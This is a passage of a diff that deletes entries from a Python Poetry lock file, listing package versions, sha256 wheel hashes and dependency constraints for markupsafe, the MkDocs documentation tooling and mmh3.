-    {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"},
-    {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"},
-    {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"},
-    {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"},
-    {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"},
-    {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"},
-    {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"},
-    {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"},
-    {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"},
-    {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"},
-    {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"},
-    {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"},
-    {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"},
-    {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"},
-    {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"},
-    {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"},
-    {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"},
-    {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"},
-    {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"},
-    {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"},
-    {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"},
-    {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"},
-    {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"},
-    {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"},
-    {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"},
-    {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"},
-    {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"},
-    {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"},
-    {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"},
-    {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"},
-    {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"},
-    {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"},
-    {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"},
-    {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"},
-    {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"},
-    {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"},
-    {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"},
-    {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"},
-    {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"},
-    {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"},
-    {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"},
-    {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"},
-    {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"},
-    {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"},
-    {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"},
-    {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"},
-    {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"},
-    {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"},
-    {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"},
-    {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"},
-    {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"},
-    {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"},
-    {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"},
-    {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"},
-    {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"},
-    {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"},
-    {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"},
-]
-
-[[package]]
-name = "mergedeep"
-version = "1.3.4"
-description = "A deep merge function for 🐍."
-optional = false
-python-versions = ">=3.6"
-groups = ["docs"]
-files = [
-    {file = "mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307"},
-    {file = "mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8"},
-]
-
-[[package]]
-name = "mike"
-version = "2.1.3"
-description = "Manage multiple versions of your MkDocs-powered documentation"
-optional = false
-python-versions = "*"
-groups = ["docs"]
-files = [
-    {file = "mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a"},
-    {file = "mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810"},
-]
-
-[package.dependencies]
-importlib-metadata = "*"
-importlib-resources = "*"
-jinja2 = ">=2.7"
-mkdocs = ">=1.0"
-pyparsing = ">=3.0"
-pyyaml = ">=5.1"
-pyyaml-env-tag = "*"
-verspec = "*"
-
-[package.extras]
-dev = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"]
-test = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"]
-
-[[package]]
-name = "mkdocs"
-version = "1.6.1"
-description = "Project documentation with Markdown."
-optional = false
-python-versions = ">=3.8"
-groups = ["docs"]
-files = [
-    {file = "mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e"},
-    {file = "mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2"},
-]
-
-[package.dependencies]
-click = ">=7.0"
-colorama = {version = ">=0.4", markers = "platform_system == \"Windows\""}
-ghp-import = ">=1.0"
-jinja2 = ">=2.11.1"
-markdown = ">=3.3.6"
-markupsafe = ">=2.0.1"
-mergedeep = ">=1.3.4"
-mkdocs-get-deps = ">=0.2.0"
-packaging = ">=20.5"
-pathspec = ">=0.11.1"
-pyyaml = ">=5.1"
-pyyaml-env-tag = ">=0.1"
-watchdog = ">=2.0"
-
-[package.extras]
-i18n = ["babel (>=2.9.0)"]
-min-versions = ["babel (==2.9.0)", "click (==7.0)", "colorama (==0.4) ; platform_system == \"Windows\"", "ghp-import (==1.0)", "importlib-metadata (==4.4) ; python_version < \"3.10\"", "jinja2 (==2.11.1)", "markdown (==3.3.6)", "markupsafe (==2.0.1)", "mergedeep (==1.3.4)", "mkdocs-get-deps (==0.2.0)", "packaging (==20.5)", "pathspec (==0.11.1)", "pyyaml (==5.1)", "pyyaml-env-tag (==0.1)", "watchdog (==2.0)"]
-
-[[package]]
-name = "mkdocs-autorefs"
-version = "1.4.3"
-description = "Automatically link across pages in MkDocs."
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "mkdocs_autorefs-1.4.3-py3-none-any.whl", hash = "sha256:469d85eb3114801d08e9cc55d102b3ba65917a869b893403b8987b601cf55dc9"},
-    {file = "mkdocs_autorefs-1.4.3.tar.gz", hash = "sha256:beee715b254455c4aa93b6ef3c67579c399ca092259cc41b7d9342573ff1fc75"},
-]
-
-[package.dependencies]
-Markdown = ">=3.3"
-markupsafe = ">=2.0.1"
-mkdocs = ">=1.1"
-
-[[package]]
-name = "mkdocs-extra-sass-plugin"
-version = "0.1.0"
-description = "This plugin adds stylesheets to your mkdocs site from `Sass`/`SCSS`."
-optional = false
-python-versions = ">=3.6"
-groups = ["docs"]
-files = [
-    {file = "mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219"},
-    {file = "mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db"},
-]
-
-[package.dependencies]
-beautifulsoup4 = ">=4.6.3"
-libsass = ">=0.15"
-mkdocs = ">=1.1"
-
-[[package]]
-name = "mkdocs-get-deps"
-version = "0.2.0"
-description = "MkDocs extension that lists all dependencies according to a mkdocs.yml file"
-optional = false
-python-versions = ">=3.8"
-groups = ["docs"]
-files = [
-    {file = "mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134"},
-    {file = "mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c"},
-]
-
-[package.dependencies]
-mergedeep = ">=1.3.4"
-platformdirs = ">=2.2.0"
-pyyaml = ">=5.1"
-
-[[package]]
-name = "mkdocs-material"
-version = "9.7.3"
-description = "Documentation that simply works"
-optional = false
-python-versions = ">=3.8"
-groups = ["docs"]
-files = [
-    {file = "mkdocs_material-9.7.3-py3-none-any.whl", hash = "sha256:37ebf7b4788c992203faf2e71900be3c197c70a4be9b0d72aed537b08a91dd9d"},
-    {file = "mkdocs_material-9.7.3.tar.gz", hash = "sha256:e5f0a18319699da7e78c35e4a8df7e93537a888660f61a86bd773a7134798f22"},
-]
-
-[package.dependencies]
-babel = ">=2.10"
-backrefs = ">=5.7.post1"
-colorama = ">=0.4"
-jinja2 = ">=3.1"
-markdown = ">=3.2"
-mkdocs = ">=1.6"
-mkdocs-material-extensions = ">=1.3"
-paginate = ">=0.5"
-pygments = ">=2.16"
-pymdown-extensions = ">=10.2"
-requests = ">=2.30"
-
-[package.extras]
-git = ["mkdocs-git-committers-plugin-2 (>=1.1)", "mkdocs-git-revision-date-localized-plugin (>=1.2.4)"]
-imaging = ["cairosvg (>=2.6)", "pillow (>=10.2)"]
-recommended = ["mkdocs-minify-plugin (>=0.7)", "mkdocs-redirects (>=1.2)", "mkdocs-rss-plugin (>=1.6)"]
-
-[[package]]
-name = "mkdocs-material-extensions"
-version = "1.3.1"
-description = "Extension pack for Python Markdown and MkDocs Material."
-optional = false
-python-versions = ">=3.8"
-groups = ["docs"]
-files = [
-    {file = "mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31"},
-    {file = "mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443"},
-]
-
-[[package]]
-name = "mkdocstrings"
-version = "0.30.1"
-description = "Automatic documentation from sources, for MkDocs."
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "mkdocstrings-0.30.1-py3-none-any.whl", hash = "sha256:41bd71f284ca4d44a668816193e4025c950b002252081e387433656ae9a70a82"},
-    {file = "mkdocstrings-0.30.1.tar.gz", hash = "sha256:84a007aae9b707fb0aebfc9da23db4b26fc9ab562eb56e335e9ec480cb19744f"},
-]
-
-[package.dependencies]
-Jinja2 = ">=2.11.1"
-Markdown = ">=3.6"
-MarkupSafe = ">=1.1"
-mkdocs = ">=1.6"
-mkdocs-autorefs = ">=1.4"
-pymdown-extensions = ">=6.3"
-
-[package.extras]
-crystal = ["mkdocstrings-crystal (>=0.3.4)"]
-python = ["mkdocstrings-python (>=1.16.2)"]
-python-legacy = ["mkdocstrings-python-legacy (>=0.2.1)"]
-
-[[package]]
-name = "mkdocstrings-python"
-version = "1.19.0"
-description = "A Python handler for mkdocstrings."
-optional = false
-python-versions = ">=3.10"
-groups = ["docs"]
-files = [
-    {file = "mkdocstrings_python-1.19.0-py3-none-any.whl", hash = "sha256:395c1032af8f005234170575cc0c5d4d20980846623b623b35594281be4a3059"},
-    {file = "mkdocstrings_python-1.19.0.tar.gz", hash = "sha256:917aac66cf121243c11db5b89f66b0ded6c53ec0de5318ff5e22424eb2f2e57c"},
-]
-
-[package.dependencies]
-griffe = ">=1.13"
-mkdocs-autorefs = ">=1.4"
-mkdocstrings = ">=0.30"
-typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""}
-
-[[package]]
-name = "mmh3"
-version = "5.2.0"
-description = "Python extension for MurmurHash (MurmurHash3), a set of fast and robust hash functions."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc"},
-    {file = "mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328"},
-    {file = "mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d"},
-    {file = "mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e"},
-    {file = "mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515"},
-    {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3"},
-    {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e"},
-    {file = "mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d"},
-    {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772"},
-    {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89"},
-    {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2"},
-    {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:382a6bb3f8c6532ea084e7acc5be6ae0c6effa529240836d59352398f002e3fc"},
-    {file = "mmh3-5.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7733ec52296fc1ba22e9b90a245c821adbb943e98c91d8a330a2254612726106"},
-    {file = "mmh3-5.2.0-cp310-cp310-win32.whl", hash = "sha256:127c95336f2a98c51e7682341ab7cb0be3adb9df0819ab8505a726ed1801876d"},
-    {file = "mmh3-5.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:419005f84ba1cab47a77465a2a843562dadadd6671b8758bf179d82a15ca63eb"},
-    {file = "mmh3-5.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:d22c9dcafed659fadc605538946c041722b6d1104fe619dbf5cc73b3c8a0ded8"},
-    {file = "mmh3-5.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7901c893e704ee3c65f92d39b951f8f34ccf8e8566768c58103fb10e55afb8c1"},
-    {file = "mmh3-5.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5f5536b1cbfa72318ab3bfc8a8188b949260baed186b75f0abc75b95d8c051"},
-    {file = "mmh3-5.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cedac4f4054b8f7859e5aed41aaa31ad03fce6851901a7fdc2af0275ac533c10"},
-    {file = "mmh3-5.2.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eb756caf8975882630ce4e9fbbeb9d3401242a72528230422c9ab3a0d278e60c"},
-    {file = "mmh3-5.2.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:097e13c8b8a66c5753c6968b7640faefe85d8e38992703c1f666eda6ef4c3762"},
-    {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7c0c7845566b9686480e6a7e9044db4afb60038d5fabd19227443f0104eeee4"},
-    {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:61ac226af521a572700f863d6ecddc6ece97220ce7174e311948ff8c8919a363"},
-    {file = "mmh3-5.2.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:582f9dbeefe15c32a5fa528b79b088b599a1dfe290a4436351c6090f90ddebb8"},
-    {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2ebfc46b39168ab1cd44670a32ea5489bcbc74a25795c61b6d888c5c2cf654ed"},
-    {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1556e31e4bd0ac0c17eaf220be17a09c171d7396919c3794274cb3415a9d3646"},
-    {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:81df0dae22cd0da87f1c978602750f33d17fb3d21fb0f326c89dc89834fea79b"},
-    {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:eba01ec3bd4a49b9ac5ca2bc6a73ff5f3af53374b8556fcc2966dd2af9eb7779"},
-    {file = "mmh3-5.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e9a011469b47b752e7d20de296bb34591cdfcbe76c99c2e863ceaa2aa61113d2"},
-    {file = "mmh3-5.2.0-cp311-cp311-win32.whl", hash = "sha256:bc44fc2b886243d7c0d8daeb37864e16f232e5b56aaec27cc781d848264cfd28"},
-    {file = "mmh3-5.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8ebf241072cf2777a492d0e09252f8cc2b3edd07dfdb9404b9757bffeb4f2cee"},
